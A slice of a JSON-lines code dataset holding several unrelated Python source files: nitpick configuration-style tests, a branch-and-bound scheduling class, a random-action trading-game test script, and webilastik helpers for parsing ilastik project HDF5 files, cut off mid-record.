https://github.com/python/black#how-black-wraps-lines\n # https://github.com/PyCQA/isort#multi-line-output-modes\n multi_line_output = 3\n include_trailing_comma = true\n force_grid_wrap = 0\n combine_as_imports = true\n\n [[\".pre-commit-config.yaml\".repos]]\n yaml = \"\"\"\n - repo: https://github.com/PyCQA/isort\n rev: 5.8.0\n hooks:\n - id: isort\n \"\"\"\n ''',\n ).named_style(\n \"isort_overrides\",\n f\"\"\"\n [\"{SETUP_CFG}\".isort]\n another_key = \"some value\"\n multi_line_output = 6\n \"\"\",\n ).pyproject_toml(\n \"\"\"\n [tool.nitpick]\n style = [\"black\", \"isort\", \"isort_overrides\"]\n \"\"\"\n ).flake8(\n offline=offline\n ).assert_merged_style(\n f'''\n [\"pyproject.toml\".tool.black]\n line-length = 120\n\n [\"{SETUP_CFG}\".isort]\n line_length = 120\n skip = \".tox,build\"\n known_first_party = \"tests\"\n\n # The configuration below is needed for compatibility with black.\n # https://github.com/python/black#how-black-wraps-lines\n # https://github.com/PyCQA/isort#multi-line-output-modes\n multi_line_output = 6\n include_trailing_comma = true\n force_grid_wrap = 0\n combine_as_imports = true\n another_key = \"some value\"\n\n [[\".pre-commit-config.yaml\".repos]]\n yaml = \"\"\"\n - repo: https://github.com/psf/black\n rev: 21.5b2\n hooks:\n - id: black\n args: [--safe, --quiet]\n - repo: https://github.com/asottile/blacken-docs\n rev: v1.10.0\n hooks:\n - id: blacken-docs\n additional_dependencies: [black==21.5b2]\n \"\"\"\n\n [[\".pre-commit-config.yaml\".repos]]\n yaml = \"\"\"\n - repo: https://github.com/PyCQA/isort\n rev: 5.8.0\n hooks:\n - id: isort\n \"\"\"\n '''\n )\n\n\n@pytest.mark.parametrize(\"offline\", [False, True])\ndef test_invalid_tool_nitpick_on_pyproject_toml(offline, tmp_path):\n \"\"\"Test invalid [tool.nitpick] on pyproject.toml.\"\"\"\n project = ProjectMock(tmp_path)\n for style, error_message in [\n (\n 'style = [\"\"]\\nextra_values = \"also raise warnings\"',\n f\"extra_values: Unknown configuration. See {READ_THE_DOCS_URL}configuration.html.\"\n \"\\nstyle.0: Shorter than minimum length 1.\",\n ),\n ('style = \"\"', \"style: Shorter than minimum length 1.\"),\n (\"style = 1\", \"style: Not a valid string.\"),\n (\n 'style = [\"some_file\",\"\",\" \"]',\n \"style.1: Shorter than minimum length 1.\\nstyle.2: Shorter than minimum length 1.\",\n ),\n ]:\n project.pyproject_toml(f\"[tool.nitpick]\\n{style}\").flake8(offline=offline).assert_errors_contain(\n \"NIP001 File pyproject.toml has an incorrect style.\"\n f\" Invalid data in [tool.nitpick]:{SUGGESTION_BEGIN}\\n{error_message}{SUGGESTION_END}\",\n 1,\n )\n\n\ndef test_invalid_toml(tmp_path):\n \"\"\"Invalid TOML should emit a NIP warning, not raise TomlDecodeError.\"\"\"\n ProjectMock(tmp_path).style(\n f\"\"\"\n [\"{SETUP_CFG}\".flake8]\n ignore = D100,D104,D202,E203,W503\n \"\"\"\n ).api_check_then_fix(\n Fuss(\n False,\n \"nitpick-style.toml\",\n 1,\n \" has an incorrect style. Invalid TOML\"\n \" (toml.decoder.TomlDecodeError: This float doesn't have a leading digit (line 2 column 1 char 21))\",\n )\n )\n\n\n@pytest.mark.parametrize(\"offline\", [False, True])\ndef test_invalid_nitpick_files(offline, tmp_path):\n \"\"\"Invalid [nitpick.files] section.\"\"\"\n ProjectMock(tmp_path).named_style(\n \"some_style\",\n \"\"\"\n [xxx]\n wrong = \"section\"\n \"\"\",\n ).named_style(\n \"wrong_files\",\n \"\"\"\n [nitpick.files.whatever]\n wrong = \"section\"\n \"\"\",\n ).pyproject_toml(\n \"\"\"\n [tool.nitpick]\n style = [\"some_style\", \"wrong_files\"]\n \"\"\"\n ).flake8(\n offline=offline\n ).assert_errors_contain(\n f\"\"\"\n NIP001 File some_style.toml has an incorrect style. Invalid config:{SUGGESTION_BEGIN}\n xxx: Unknown file. See {READ_THE_DOCS_URL}plugins.html.{SUGGESTION_END}\n \"\"\"\n ).assert_errors_contain(\n f\"\"\"\n NIP001 File wrong_files.toml has an incorrect style. Invalid config:{SUGGESTION_BEGIN}\n nitpick.files.whatever: Unknown file. See {READ_THE_DOCS_URL}nitpick_section.html#nitpick-files.{SUGGESTION_END}\n \"\"\",\n 2,\n )\n\n\n@responses.activate\n@pytest.mark.parametrize(\n \"style_url\",\n [\n # Without commit reference (uses default branch)\n \"github://andreoliwa/nitpick/initial.toml\",\n \"gh://andreoliwa/nitpick/initial.toml\",\n # Explicit commit reference\n \"github://andreoliwa/nitpick@develop/initial.toml\",\n \"gh://andreoliwa/nitpick@develop/initial.toml\",\n # Regular GitHub URL\n \"https://github.com/andreoliwa/nitpick/blob/develop/initial.toml\",\n # Raw URL directly\n \"https://raw.githubusercontent.com/andreoliwa/nitpick/develop/initial.toml\",\n ],\n)\ndef test_always_fetch_github_raw_url(style_url, tmp_path):\n \"\"\"Test that gh://, github:// and normal github URLs can be fetched always by their corresponding raw URL.\"\"\"\n raw_url = \"https://raw.githubusercontent.com/andreoliwa/nitpick/develop\"\n data = [\n (\n f\"{raw_url}/initial.toml\",\n \"\"\"\n [nitpick.styles]\n include = \"black.toml\"\n \"\"\",\n ),\n (\n f\"{raw_url}/black.toml\",\n \"\"\"\n [\"pyproject.toml\".tool.black]\n line-length = 120\n \"\"\",\n ),\n ]\n for url, style in data:\n responses.add(responses.GET, url, dedent(style), status=200)\n\n responses.add(responses.GET, \"https://api.github.com/repos/andreoliwa/nitpick\", '{\"default_branch\": \"develop\"}')\n\n ProjectMock(tmp_path).pyproject_toml(\n f\"\"\"\n [tool.nitpick]\n style = [\"{style_url}\"]\n \"\"\"\n ).api_check().assert_violations(\n Fuss(\n False,\n PYPROJECT_TOML,\n 318,\n \" has missing values:\",\n \"\"\"\n [tool.black]\n line-length = 120\n \"\"\",\n )\n )\n\n\n@responses.activate\n@pytest.mark.parametrize(\n (\"original_url\", \"expected_url\", \"git_reference\", \"raw_git_reference\", \"at_reference\"),\n [\n (\n \"https://github.com/andreoliwa/nitpick/blob/develop/src/nitpick/__init__.py\",\n \"https://github.com/andreoliwa/nitpick/blob/develop/src/nitpick/__init__.py\",\n \"develop\",\n \"develop\",\n \"\",\n ),\n (\n \"gh://andreoliwa/nitpick/src/nitpick/__init__.py\",\n \"https://github.com/andreoliwa/nitpick/blob/develop/src/nitpick/__init__.py\",\n \"\",\n \"develop\",\n \"\",\n ),\n (\n \"github://andreoliwa/nitpick/src/nitpick/__init__.py\",\n \"https://github.com/andreoliwa/nitpick/blob/develop/src/nitpick/__init__.py\",\n \"\",\n \"develop\",\n \"\",\n ),\n (\n \"https://github.com/andreoliwa/nitpick/blob/v0.26.0/src/nitpick/__init__.py\",\n \"https://github.com/andreoliwa/nitpick/blob/v0.26.0/src/nitpick/__init__.py\",\n \"v0.26.0\",\n \"v0.26.0\",\n \"@v0.26.0\",\n ),\n (\n \"gh://andreoliwa/nitpick@v0.23.1/src/nitpick/__init__.py\",\n \"https://github.com/andreoliwa/nitpick/blob/v0.23.1/src/nitpick/__init__.py\",\n \"v0.23.1\",\n \"v0.23.1\",\n \"@v0.23.1\",\n ),\n (\n \"github://andreoliwa/nitpick@master/src/nitpick/__init__.py\",\n \"https://github.com/andreoliwa/nitpick/blob/master/src/nitpick/__init__.py\",\n \"master\",\n \"master\",\n \"@master\",\n ),\n ],\n)\ndef test_parsing_github_urls(original_url, expected_url, git_reference, raw_git_reference, at_reference):\n \"\"\"Test a GitHub URL and its parts, raw URL, API URL.\"\"\"\n responses.add(responses.GET, \"https://api.github.com/repos/andreoliwa/nitpick\", '{\"default_branch\": \"develop\"}')\n\n gh = GitHubURL.from_furl(furl(original_url))\n assert gh.owner == \"andreoliwa\"\n assert gh.repository == \"nitpick\"\n assert gh.git_reference == git_reference\n assert gh.path == (\"src\", \"nitpick\", \"__init__.py\")\n assert gh.raw_content_url == furl(\n f\"https://raw.githubusercontent.com/andreoliwa/nitpick/{raw_git_reference}/src/nitpick/__init__.py\"\n )\n assert gh.url == furl(expected_url)\n assert gh.api_url == furl(\"https://api.github.com/repos/andreoliwa/nitpick\")\n assert gh.short_protocol_url == furl(f\"gh://andreoliwa/nitpick{at_reference}/src/nitpick/__init__.py\")\n assert gh.long_protocol_url == furl(f\"github://andreoliwa/nitpick{at_reference}/src/nitpick/__init__.py\")\n\n\n@pytest.mark.parametrize(\n (\"original_url\", \"import_path\", \"resource_name\"),\n [\n (\"py://nitpick/styles/nitpick-style.toml\", \"nitpick.styles\", \"nitpick-style.toml\"),\n (\"py://some_package/nitpick.toml\", \"some_package\", \"nitpick.toml\"),\n (\"pypackage://nitpick/styles/nitpick-style.toml\", \"nitpick.styles\", \"nitpick-style.toml\"),\n (\"pypackage://some_package/nitpick.toml\", \"some_package\", \"nitpick.toml\"),\n ],\n)\ndef test_parsing_python_package_urls(original_url, import_path, resource_name):\n \"\"\"Test a resource URL of python package and its parts.\"\"\"\n pp = PythonPackageURL.from_furl(furl(original_url))\n assert pp.import_path == import_path\n assert pp.resource_name == resource_name\n\n\n@pytest.mark.parametrize(\n (\"original_url\", \"expected_content_path_suffix\"),\n [\n (\"py://tests/resources/empty-style.toml\", \"tests/resources/empty-style.toml\"),\n (\"py://tests/resources/nested_package/empty_style.toml\", \"tests/resources/nested_package/empty_style.toml\"),\n (\"pypackage://tests/resources/empty-style.toml\", \"tests/resources/empty-style.toml\"),\n (\n \"pypackage://tests/resources/nested_package/empty_style.toml\",\n \"tests/resources/nested_package/empty_style.toml\",\n ),\n ],\n)\ndef test_raw_content_url_of_python_package(original_url, expected_content_path_suffix):\n \"\"\"Test ``PythonPackageURL`` can return valid path.\"\"\"\n pp = PythonPackageURL.from_furl(furl(original_url))\n expected_content_path = Path(__file__).parent.parent / expected_content_path_suffix\n assert pp.content_path == expected_content_path\n\n\ndef test_protocol_not_supported(tmp_path):\n \"\"\"Test unsupported protocols.\"\"\"\n project = ProjectMock(tmp_path).pyproject_toml(\n \"\"\"\n [tool.nitpick]\n style = [\"abc://www.example.com/style.toml\"]\n \"\"\"\n )\n with pytest.raises(RuntimeError) as exc_info:\n project.api_check()\n assert str(exc_info.value) == \"URL protocol 'abc' is not supported\"\n","repo_name":"andreoliwa/nitpick","sub_path":"tests/test_style.py","file_name":"test_style.py","file_ext":"py","file_size_in_byte":31271,"program_lang":"python","lang":"en","doc_type":"code","stars":369,"dataset":"github-code","pt":"75"} +{"seq_id":"25968861211","text":"from copy import deepcopy\n\nfrom Regulation import Regulation\nimport Utils\n\n\nclass Branch(object):\n\n def __init__(self, l, s_lower, graph, regulation_part=None):\n self.l = l\n self.s_lower = s_lower\n self.graph = graph\n self.regulation_part = regulation_part\n self.branches = []\n self.canceled = False\n\n def add_branch(self, l, s_lower, graph, regulation_part):\n self.branches.append(Branch(l, s_lower, graph, regulation_part))\n\n\nclass BranchAndBound(object):\n\n def __init__(self, target_h, graph):\n self.target_h = target_h\n self.graph = graph\n self.top_branch = None\n\n def __count_length(self, graph, s_lower):\n n = len(graph.vertices)\n l_ = len(s_lower)\n l = n / float(self.target_h)\n if l - int(l) != 0.0:\n l = int(l) + 1\n else:\n l = int(l)\n return max(l_, l)\n\n def __build_branches(self, branch, level):\n if len(branch.graph.top_vertices) > self.target_h:\n combs = Utils.get_all_combinations(branch.graph.top_vertices,\n self.target_h)\n else:\n combs = [branch.graph.top_vertices]\n for comb in combs:\n temp_graph = deepcopy(branch.graph)\n for vertex in comb:\n del temp_graph.vertices[vertex]\n temp_graph.find_top_vertices()\n temp_graph.find_bottom_vertices()\n\n if len(temp_graph.vertices):\n r = Regulation(temp_graph)\n s_lower = r.build_s_lower()\n branch.add_branch(\n self.__count_length(temp_graph, s_lower) + level,\n s_lower,\n temp_graph,\n set(comb))\n else:\n branch.add_branch(\n level,\n None,\n temp_graph,\n set(comb)\n )\n\n def __build_tree(self):\n\n def _build_tree(branch, level):\n if not len(branch.graph.vertices):\n return\n\n self.__build_branches(branch, level)\n min_l = min([br.l for br in branch.branches])\n for br in branch.branches:\n if br.l == min_l:\n _build_tree(br, level + 1)\n else:\n br.canceled = True\n\n r = Regulation(self.graph)\n s_lower = r.build_s_lower()\n self.top_branch = Branch(self.__count_length(self.graph, s_lower),\n s_lower, self.graph)\n _build_tree(self.top_branch, 1)\n\n def solve(self):\n\n def collect_result(branch, result, regulation):\n if branch.canceled:\n return\n regulation = list(regulation)\n regulation.append(branch.regulation_part)\n if not branch.branches:\n result.append(regulation)\n else:\n for br in branch.branches:\n collect_result(br, result, regulation)\n\n self.__build_tree()\n\n result = []\n regulation = []\n for br in self.top_branch.branches:\n collect_result(br, result, regulation)\n\n min_l = min([len(x) for x in result])\n result = filter(lambda x: len(x) == min_l, result)\n\n return result\n","repo_name":"olokshyn/Parallel-Regulations","sub_path":"BranchAndBound.py","file_name":"BranchAndBound.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"5750587185","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom game_engines.game_versions.GameEngine_v010_lastWeek import PlayGame\n\nGE = PlayGame()\n\n\ngames = 1000\n\nactions = [0,1,2,3]\n#actions = [0,1]\n\npercentChangeLog = pd.DataFrame(columns=[\"percentChange\"])\nlogCnt = 0\n\nif 1 == 2:\n for game in range(games):\n terminal = False\n GE.startGame(evaluation=True)\n\n while terminal == False:\n\n action = actions[np.random.choice(np.arange(0, 4), p=[0.25, 0.25, 0.25,0.25])]\n #action = actions[np.random.choice(np.arange(0, 2), p=[0.5, 0.5])]\n\n new_frame, reward, terminal = GE.nextStep(action)\n #print(\"action:\", action)\n\n if terminal == True:\n print(\"game:\", logCnt)\n percentChange = GE.getBTCPercentChange()\n percentChangeLog.loc[logCnt] = percentChange\n logCnt += 1\n percentChangeLog.to_csv(\"/home/andras/PycharmProjects/TradingGame/logs/percentChange.csv\", index=True)\n\n GE.startGame(evaluation=True)\n\n\npercentChange = pd.read_csv(\"/home/andras/PycharmProjects/TradingGame/logs/percentChange.csv\", sep=\",\", index_col=0)\n\nfig = plt.figure(figsize=(12, 10))\n\n\n\n# AX 1\nax1 = fig.add_subplot(211)\nax1.plot(percentChange, \"-\", color='b', linewidth=1)\n#ax1.set_ylim([priceMin, priceMax])\n\n\nplt.show()\n\n","repo_name":"andrasormos/TradingGame","sub_path":"misc/random_test.py","file_name":"random_test.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25519378202","text":"#pyright: strict\n\nfrom datetime import datetime\nfrom abc import ABC\nfrom pathlib import PurePosixPath\nfrom typing import Callable, ClassVar, Any, Dict, List, Mapping, Sequence, Tuple, Type, TypeVar, cast, Set\nfrom collections.abc import Mapping as AbcMapping\nfrom typing_extensions import TypeAlias\nimport enum\nimport uuid\n\nfrom h5py._hl.datatype import Datatype\nfrom vigra.vigranumpycore import AxisTags\n\nimport numpy as np\nfrom numpy import ndarray\nimport vigra\nimport h5py\nfrom webilastik.annotations.annotation import Color\nfrom webilastik.datasource import FsDataSource\nfrom webilastik.features.ilp_filter import (\n IlpDifferenceOfGaussians, IlpFilterCollection, IlpGaussianGradientMagnitude, IlpGaussianSmoothing, IlpHessianOfGaussianEigenvalues,\n IlpLaplacianOfGaussian, IlpStructureTensorEigenvalues\n)\nfrom webilastik.features.ilp_filter import IlpFilter\nfrom webilastik.filesystem import IFilesystem\nfrom webilastik.ui.datasource import try_get_datasources_from_url\nfrom webilastik.utility.url import Url\n\n\nDT = TypeVar(\"DT\", np.float64, np.int64, np.bool_, np.object_)\n\nIlpDatasetContents: TypeAlias = \"int | bytes | str | bool | Tuple[int, ...] | Tuple[float, ...] | ndarray[Any, Any] | np.void\"\n\n\nclass IlpParsingError(Exception):\n pass\n\nclass IlpMissingKey(IlpParsingError):\n def __init__(self, key: str) -> None:\n super().__init__(f\"Key not found: {key}\")\n\nclass IlpTypeMismatch(IlpParsingError):\n def __init__(\n self,\n *,\n key: str,\n expected_dtype: \"np.dtype[Any]\",\n expected_shape: Tuple[int, ...],\n dataset: h5py.Dataset,\n ):\n super().__init__(\n f\"Expected {key} to be of type '{expected_dtype} {expected_shape}', found '{dataset.dtype} {dataset.shape}'\"\n )\n\nclass IlpAttrDataset:\n def __init__(\n self,\n value: IlpDatasetContents,\n *,\n attrs: Mapping[str, str] #FIXME values could be of types other than str\n ) -> None:\n self.value = value\n self.attrs = attrs\n super().__init__()\n\nIlpDatasetValue: TypeAlias = \"IlpDatasetContents | IlpAttrDataset\"\nIlpGroup: TypeAlias = Mapping[str, \"IlpValue\"]\nIlpValue: TypeAlias = \"IlpDatasetValue | IlpGroup\"\n\ndef ensure_group(group: h5py.Group, key: str) -> h5py.Group:\n if key not in group:\n raise IlpMissingKey(key)\n inner_group = group[key]\n if not isinstance(inner_group, h5py.Group):\n raise IlpParsingError(f\"Expected dataset at '{key}', found {inner_group.__class__.__name__}\")\n return inner_group\n\ndef ensure_dataset(group: h5py.Group, key: str) -> h5py.Dataset:\n if key not in group:\n raise IlpMissingKey(key)\n dataset = group[key]\n if not isinstance(dataset, h5py.Dataset):\n raise IlpParsingError(f\"Expected dataset at '{group.name}/{key}', found {dataset.__class__.__name__}\")\n return dataset\n\ndef ensure_int(group: h5py.Group, key: str) -> int:\n dataset = ensure_dataset(group, key)\n expected_dtype = np.dtype('int64')\n if dataset.shape != () or dataset.dtype != expected_dtype:\n raise IlpTypeMismatch(\n key=key, expected_dtype=expected_dtype, expected_shape=(), dataset=dataset\n )\n return int(dataset[()])\n\ndef ensure_bool(group: h5py.Group, key: str) -> bool:\n dataset = ensure_dataset(group, key)\n expected_dtype = np.dtype('bool')\n if dataset.shape != () or dataset.dtype != expected_dtype:\n raise IlpTypeMismatch(\n key=key, expected_dtype=expected_dtype, expected_shape=(), dataset=dataset\n )\n return bool(dataset[()])\n\ndef ensure_int_tuple(group: h5py.Group, key: str) -> Tuple[int, ...]:\n dataset = ensure_dataset(group, key)\n expected_dtype = np.dtype('int64')\n if len(dataset.shape) != 1 or dataset.dtype != expected_dtype:\n raise IlpParsingError(f\"Expected {key} to be a Tuple[int, ...], found {dataset.dtype} {dataset.shape}\")\n return tuple(dataset[()])\n\ndef ensure_drange(group: h5py.Group, key: str) -> \"Tuple[int, int] | Tuple[float, float]\":\n dataset = ensure_dataset(group, key)\n if len(dataset.shape) == 2 and (dataset.dtype == np.dtype(\"int64\") or dataset.dtype == np.dtype(\"float32\")):\n return tuple(dataset[()])\n raise IlpParsingError(f\"Expected {key} to be a Tuple[Number, Number], found {dataset.dtype} {dataset.shape}\")\n\ndef ensure_bytes(group: h5py.Group, key: str) -> bytes:\n dataset = ensure_dataset(group, key)\n expected_dtype = np.dtype('object')\n if dataset.shape != () or dataset.dtype != expected_dtype:\n raise IlpTypeMismatch(\n key=key, expected_dtype=expected_dtype, expected_shape=(), dataset=dataset\n )\n contents = dataset[()]\n if not isinstance(contents, bytes):\n raise IlpParsingError(f\"Expected bytes at {key}, found {contents.__class__.__name__}\")\n return contents\n\ndef ensure_encoded_string(group: h5py.Group, key: str) -> str:\n return ensure_bytes(group, key).decode(\"utf8\")\n\ndef ensure_ndarray(group: h5py.Group, key: str, expected_shape: Tuple[int, ...], expected_dtype: \"np.dtype[DT]\") -> \"np.ndarray[Any, np.dtype[DT]]\":\n dataset = ensure_dataset(group, key)\n if dataset.dtype != expected_dtype or dataset.shape != expected_shape:\n raise IlpTypeMismatch(key=key, expected_dtype=expected_dtype, expected_shape=expected_shape, dataset=dataset)\n contents = dataset[()]\n if not isinstance(contents, np.ndarray):\n raise IlpParsingError(f\"Expected ndarray at {key}, found {contents.__class__.__name__}\")\n return contents\n\ndef ensure_scalar(group: h5py.Group, key: str, expected_dtype: \"np.dtype[DT]\") -> \"DT\":\n dataset = ensure_dataset(group, key)\n if dataset.dtype != expected_dtype or dataset.shape != ():\n raise IlpTypeMismatch(key=key, expected_dtype=expected_dtype, expected_shape=(), dataset=dataset)\n contents = dataset[()]\n if not isinstance(contents, expected_dtype.type):\n raise IlpParsingError(f\"Expected a {expected_dtype} scalar at {key}, found {contents.__class__.__name__}\")\n return contents\n\ndef ensure_list(group: h5py.Group, key: str, expected_dtype: \"np.dtype[DT]\") -> Sequence[\"DT\"]:\n dataset = ensure_dataset(group, key)\n if dataset.dtype != expected_dtype or len(dataset.shape) != 1:\n raise IlpParsingError(f\"Expected {key} tp be list of {expected_dtype}, found {dataset}\")\n contents = dataset[()]\n if not isinstance(contents, np.ndarray):\n raise IlpParsingError(f\"Expected ndarray at {key}, found {contents.__class__.__name__}\")\n return cast(Sequence[\"DT\"], contents)\n\ndef ensure_encoded_string_list(group: h5py.Group, key: str) -> Sequence[str]:\n dataset = ensure_dataset(group, key)\n expected_dtype = np.dtype('object')\n if len(dataset.shape) != 1 or dataset.dtype != expected_dtype:\n raise IlpTypeMismatch(\n key=key, expected_dtype=expected_dtype, expected_shape=(), dataset=dataset\n )\n contents = dataset[()]\n if not isinstance(contents, np.ndarray):\n raise IlpParsingError(f\"Expected ndarray at {key}, found {contents.__class__.__name__}\")\n return [s.decode('utf8') for s in contents]\n\ndef ensure_color_list(group: h5py.Group, key: str) -> Sequence[Color]:\n dataset = ensure_dataset(group, key)\n expected_dtype = np.dtype('int64') # classic ilastik saves color components as int64\n if len(dataset.shape) != 2 or dataset.shape[1] != 3 or dataset.dtype != expected_dtype:\n raise IlpTypeMismatch(\n key=key, expected_dtype=expected_dtype, expected_shape=(), dataset=dataset\n )\n contents = dataset[()]\n if not isinstance(contents, np.ndarray):\n raise IlpParsingError(f\"Expected ndarray at {key}, found {contents.__class__.__name__}\")\n return [\n Color(r=np.uint8(c[0]), g=np.uint8(c[1]), b=np.uint8(c[2])) for c in contents\n ]\n\ndef ensure_float_list(group: h5py.Group, key: str) -> Sequence[float]:\n dataset = ensure_dataset(group, key)\n expected_dtype = np.dtype('float64')\n if len(dataset.shape) != 1 or dataset.dtype != expected_dtype:\n raise IlpParsingError(f\"Expected {key} to be a Sequence[int, ...] of float64, found {dataset.dtype} {dataset.shape}\")\n return [float(item) for item in tuple(dataset[()])]\n\n\n\nT = TypeVar(\"T\")\n\ndef ensure_optional(ensurer: Callable[[h5py.Group, str], T], group: h5py.Group, key: str) -> \"T | None\":\n if key not in group:\n return None\n return ensurer(group, key)\n\ndef populate_h5_group(group: h5py.Group, data: IlpGroup) -> None:\n for key, value in data.items():\n if isinstance(value, AbcMapping):\n subgroup = group.create_group(key)\n populate_h5_group(subgroup, value)\n continue\n if isinstance(value, IlpAttrDataset):\n h5_value = value.value\n else:\n h5_value = value\n\n if isinstance(h5_value, np.ndarray):\n dataset = group.create_dataset(key, data=h5_value, compression=\"gzip\")\n else:\n dataset = group.create_dataset(key, data=h5_value)\n\n if isinstance(value, IlpAttrDataset):\n for attr_key, attr_value in value.attrs.items():\n dataset.attrs[attr_key] = attr_value\n\ndef read_h5_group(group: h5py.Group) -> IlpGroup:\n out: IlpGroup = {}\n for key, value in group.items():\n if isinstance(value, h5py.Group):\n out[key] = read_h5_group(value)\n elif isinstance(value, Datatype):\n print(f\"Warning: unexpected Datatype with key {key}\")\n else:\n out[key] = read_h5_dataset(value)\n return out\n\ndef read_h5_dataset(dataset: h5py.Dataset) -> IlpDatasetValue:\n value = dataset[()]\n if len(dataset.attrs.keys()) > 0:\n loaded_attrs: Mapping[str, Any] = {k: v for k, v in dataset.attrs.items()}\n return IlpAttrDataset(value=value, attrs=loaded_attrs)\n return value\n\nclass IlpProject(ABC):\n def __init__(\n self,\n *,\n workflowName: str,\n currentApplet: \"int | None\" = None,\n ilastikVersion: \"str | None\" = None,\n time: \"datetime | None\" = None,\n ) -> None:\n self.workflowName: str = workflowName\n self.currentApplet: int = currentApplet or 0\n self.ilastikVersion: str = ilastikVersion or '1.4.0b28.dev14+gb5bb2750d' #FIXME: maybe use a different version\n self.time: datetime = time or datetime.now()\n super().__init__()\n\n def populate_group(self, group: h5py.Group):\n group[\"currentApplet\"] = self.currentApplet\n group[\"ilastikVersion\"] = self.ilastikVersion.encode(\"utf8\") # FIXM\n group[\"time\"] = self.time.ctime().encode(\"utf8\")\n group[\"workflowName\"] = self.workflowName.encode(\"utf8\")\n\nclass IlpDatasetDisplayMode(enum.Enum):\n DEFAULT = \"default\"\n GRAYSCALE = \"grayscale\"\n RGBA = \"rgba\"\n RANDOM_COLORTABLE = \"random-colortable\"\n BINARY_MASK = \"binary-mask\"\n\n def to_ilp_data(self) -> bytes:\n return self.value.encode(\"utf8\")\n\n @classmethod\n def from_ilp_data(cls, value: bytes) -> \"IlpDatasetDisplayMode\":\n value_str = value.decode(\"utf8\")\n for display_mode in IlpDatasetDisplayMode:\n if display_mode.value == value_str:\n return display_mode\n raise IlpParsingError(f\"Can't parse {value_str} as {cls.__name__}\")\n\nclass IlpDatasetInfoLocation(enum.Enum):\n FILE_SYSTEM = \"FileSystem\"\n PROJECT_INTERNAL = \"ProjectInternal\"\n\n @classmethod\n def from_ilp_data(cls, value: bytes) -> \"IlpDatasetInfoLocation\":\n value_str = value.decode(\"utf8\")\n for location in cls:\n if location.value == value_str:\n return location\n raise IlpParsingError(f\"Can't parse {value} as {cls.__name__}\")\n\n def to_ilp_data(self) -> bytes:\n return self.value.encode(\"utf8\")\n\nclass IlpInfoClassName(enum.Enum):\n URL_DATASET_INFO = \"UrlDatasetInfo\"\n FILESYSTEM_DATASET_INFO = \"FilesystemDatasetInfo\"\n RELATIVE_FILESYSTEM_DATASET_INFO = \"RelativeFilesystemDatasetInfo\"\n PRELOADED_ARRAY_DATASET_INFO = \"PreloadedArrayDatasetInfo\"\n\n @classmethod\n def from_url(cls, url: Url) -> \"IlpInfoClassName\":\n if url.protocol == \"http\" or url.protocol == \"https\":\n return cls.URL_DATASET_INFO\n if url.protocol == \"file\":\n return cls.FILESYSTEM_DATASET_INFO\n else:\n return cls.PRELOADED_ARRAY_DATASET_INFO\n\n @classmethod\n def from_ilp_data(cls, value: bytes) -> \"IlpInfoClassName\":\n value_str = value.decode(\"utf8\")\n for info_class in cls:\n if info_class.value == value_str:\n return info_class\n raise IlpParsingError(f\"Can't parse {value} as {cls.__name__}\")\n\n def to_ilp_data(self) -> bytes:\n return self.value.encode(\"utf8\")\n\n\nclass IlpDatasetInfo:\n def __init__(\n self,\n *,\n allowLabels: \"bool | None\",\n axistags: AxisTags,\n datasetId: \"None | uuid.UUID\",\n filePath: str,\n nickname: str,\n location: IlpDatasetInfoLocation,\n klass: IlpInfoClassName,\n shape: Tuple[int, ...],\n display_mode: \"IlpDatasetDisplayMode | None\",\n normalizeDisplay: \"bool | None\",\n drange: \"Tuple[int, int] | Tuple[float, float] | None\",\n ):\n self.allowLabels: bool = True if allowLabels is None else allowLabels\n self.axistags: AxisTags = axistags\n self.nickname: str = nickname\n self.location = location\n self.klass = klass\n self.datasetId: uuid.UUID = datasetId or uuid.uuid1()\n self.filePath = filePath\n self.shape = shape\n self.display_mode: IlpDatasetDisplayMode = display_mode or IlpDatasetDisplayMode.DEFAULT\n self.normalizeDisplay: bool = (drange is not None) if normalizeDisplay is None else normalizeDisplay\n self.drange: \"Tuple[int, int] | Tuple[float, float] | None\" = drange\n super().__init__()\n\n @classmethod\n def from_datasource(\n cls,\n *,\n datasource: FsDataSource,\n allowLabels: \"bool | None\" = None,\n datasetId: \"uuid.UUID | None\" = None,\n nickname: \"str | None\" = None,\n fromstack: \"bool | None\" = None,\n display_mode: \"IlpDatasetDisplayMode | None\" = None,\n normalizeDisplay: \"bool | None\" = None,\n drange: \"Tuple[int, int] | Tuple[float, float] | None\" = None,\n ) -> \"IlpDatasetInfo\":\n return IlpDatasetInfo(\n allowLabels=allowLabels,\n axistags=vigra.defaultAxistags(datasource.c_axiskeys_on_disk),\n datasetId=datasetId,\n filePath=datasource.url.to_ilp_info_filePath(),\n nickname=nickname or datasource.url.path.name,\n location=IlpDatasetInfoLocation.FILE_SYSTEM,\n klass=IlpInfoClassName.from_url(datasource.url),\n shape=datasource.shape.to_tuple(datasource.c_axiskeys_on_disk),\n display_mode=display_mode,\n normalizeDisplay=normalizeDisplay,\n drange=drange,\n )\n\n def populate_group(self, group: h5py.Group) -> None:\n group[\"axistags\"] = self.axistags.toJSON().encode(\"utf8\")\n group[\"shape\"] = self.shape\n group[\"allowLabels\"] = self.allowLabels\n # subvolume_roi FIXME\n group[\"display_mode\"] = self.display_mode.to_ilp_data()\n group[\"nickname\"] = self.nickname.encode(\"utf8\")\n group[\"normalizeDisplay\"] = self.normalizeDisplay\n if self.drange:\n group[\"drange\"] = self.drange\n group[\"location\"] = self.location.to_ilp_data()\n group[\"__class__\"] = self.klass.to_ilp_data()\n group[\"filePath\"] = self.filePath.encode(\"utf8\")\n group[\"datasetId\"] = str(self.datasetId).encode(\"utf8\")\n\n # group[\"axisorder\"] = \"\".join(self.axistags.keys()).encode(\"utf8\")\n\n @classmethod\n def parse(cls, group: h5py.Group) -> \"IlpDatasetInfo\":\n return IlpDatasetInfo(\n allowLabels=ensure_bool(group, \"allowLabels\"),\n axistags=vigra.AxisTags.fromJSON(ensure_encoded_string(group, \"axistags\")),\n datasetId=uuid.UUID(ensure_encoded_string(group, \"datasetId\")),\n filePath=ensure_encoded_string(group, \"filePath\"),\n location=IlpDatasetInfoLocation.from_ilp_data(ensure_bytes(group, \"location\")),\n klass=IlpInfoClassName.from_ilp_data(ensure_bytes(group, \"__class__\")), # FIXME: optional?\n nickname=ensure_encoded_string(group, \"nickname\"),\n shape=ensure_int_tuple(group, \"shape\"),\n display_mode=IlpDatasetDisplayMode.from_ilp_data(ensure_bytes(group, 